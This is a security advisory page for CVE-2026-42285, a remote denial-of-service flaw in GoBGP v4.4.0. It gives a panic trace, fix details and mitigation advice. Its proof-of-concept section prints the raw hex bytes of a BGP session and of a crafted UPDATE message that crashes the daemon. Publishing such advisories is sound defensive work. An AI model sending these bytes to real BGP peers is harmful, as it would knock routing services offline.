CVE-2026-42285 — gobgp
HIGHCVE-2026-42285 is a high-severity (CVSS 7.5) NULL Pointer Dereference vulnerability in github.com/osrg/gobgp/v4. A fix is available for github.com/osrg/gobgp/v4 — see the affected versions and patch details below.
GoBGP: Panic in AdjRib.Update via malformed BGP Update message (Nil Pointer Dereference)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42285.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/osrg/gobgp/v4Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Remote Denial of Service (DoS) via Nil Pointer Dereference in BGP Update Processing An unauthenticated remote BGP peer can trigger a fatal panic in GoBGP by sending a specially crafted BGP UPDATE message. When the server receives a message with inconsistent attribute lengths, it improperly handles the internal state transition to a "withdraw" action, leading to a nil pointer dereference in the AdjRib.Update function. This causes the entire GoBGP process to crash, resulting in a complete loss of service availability.
Details
The vulnerability originates in the interaction between the BGP message decoding logic and the Adj-RIB table management.
Triggering Condition: When a BGP UPDATE message contains attributes that fail validation (e.g., "attribute value length is short"), GoBGP logs a warning: the received Update message was treated as withdraw.
Code Path:
The message reaches github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate.
Due to the malformed attributes, the message is processed as a withdrawal, but the internal representation of the path or its attributes becomes nil.
The execution flows to internal/pkg/table/adj.go:127 within (*AdjRib).Update.
The Flaw: At line 127 in adj.go, the code attempts to access a member of a structure (likely the path or a specific attribute container) that is nil due to the previous validation failure.
Log Snippet:
{"time":"2026-04-21T12:43:10.009107962+08:00","level":"WARN","msg":"the received Update message was treated as withdraw","Topic":"Peer","Key":"192.168.31.195","State":"BGP_FSM_ESTABLISHED","Error":"attribute value length is short"}
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x8 pc=0xbca9e8]
goroutine 52 [running]:
github.com/osrg/gobgp/v4/internal/pkg/table.(*AdjRib).Update(0x1fec929b4480, {0x1fec928ca0e8, 0x1, 0xfffffffffffffffc?})
/home/base/Desktop/gobgp/internal/pkg/table/adj.go:127 +0xa8
github.com/osrg/gobgp/v4/pkg/server.(*peer).handleUpdate(0x1fec92b90c40, 0x1fec92c0c900)
/home/base/Desktop/gobgp/pkg/server/peer.go:656 +0xed4
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).handleFSMMessage(0x1fec928c8488, 0x1fec92b90c40, 0x1fec92c0c900)
/home/base/Desktop/gobgp/pkg/server/server.go:1670 +0x14c6
github.com/osrg/gobgp/v4/pkg/server.(*BgpServer).startFsmHandler.func1(0x1fec935c0b00?)
/home/base/Desktop/gobgp/pkg/server/server.go:253 +0x25
github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).recvMessageloop(0x1fec92acee40, {0x105c750, 0x1fec92970500}, {0x106a558, 0x1fec933bc000}, 0x1fec92c1a2a0, 0x1fec92c18a10, 0x0?)
/home/base/Desktop/gobgp/pkg/server/fsm.go:1893 +0xe82
created by github.com/osrg/gobgp/v4/pkg/server.(*fsmHandler).established in goroutine 37
/home/base/Desktop/gobgp/pkg/server/fsm.go:1920 +0x2d5
PoC
[SEND] OPEN
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 1d 01 04 fd ea 00 5a c3 a8 1f c3 00
[RECV] Type: 1 | Length: 77
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 4d 01 04 fd e9 00 5a c0 a8 1f 82 30 02 2e 02 00 49 16 14 62 61 73 65 2d 76 69 72 74 75 61 6c 2d 6d 61 63 68 69 6e 65 00 01 04 00 19 00 46 41 04 00 00 fd e9 05 06 00 19 00 46 00 02
[+] Received OPEN from peer
[SEND] KEEPALIVE
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[RECV] Type: 4 | Length: 19
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 13 04
[+] BGP Session Established
[SEND] Crafted UPDATE
Data: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 50 02 00 04 18 ac 10 01 00 35 35 01 01 04 2d 02 00 90 0e 00 19 3e 01 a8 c0 1f 82 00 02 21 00 01 c0 a8 1f 12 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 11 22 33 44 55 0f 11 80 00
[*] Waiting for peer reaction...
[+] Done.
Impact
Remote Denial of Service (DoS) in GoBGP v4.4.0
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/osrg/gobgp/v4 | ≥ 4.4.0&&< 4.5.0 | 4.5.0go get github.com/osrg/gobgp/v4@v4.5.0 |
Affected Products
gobgposrgDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/osrg/gobgp/v4, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/osrg/gobgp/v4 to 4.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42285 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-42285 in your dependencies?
Find it across Go, including transitive dependencies.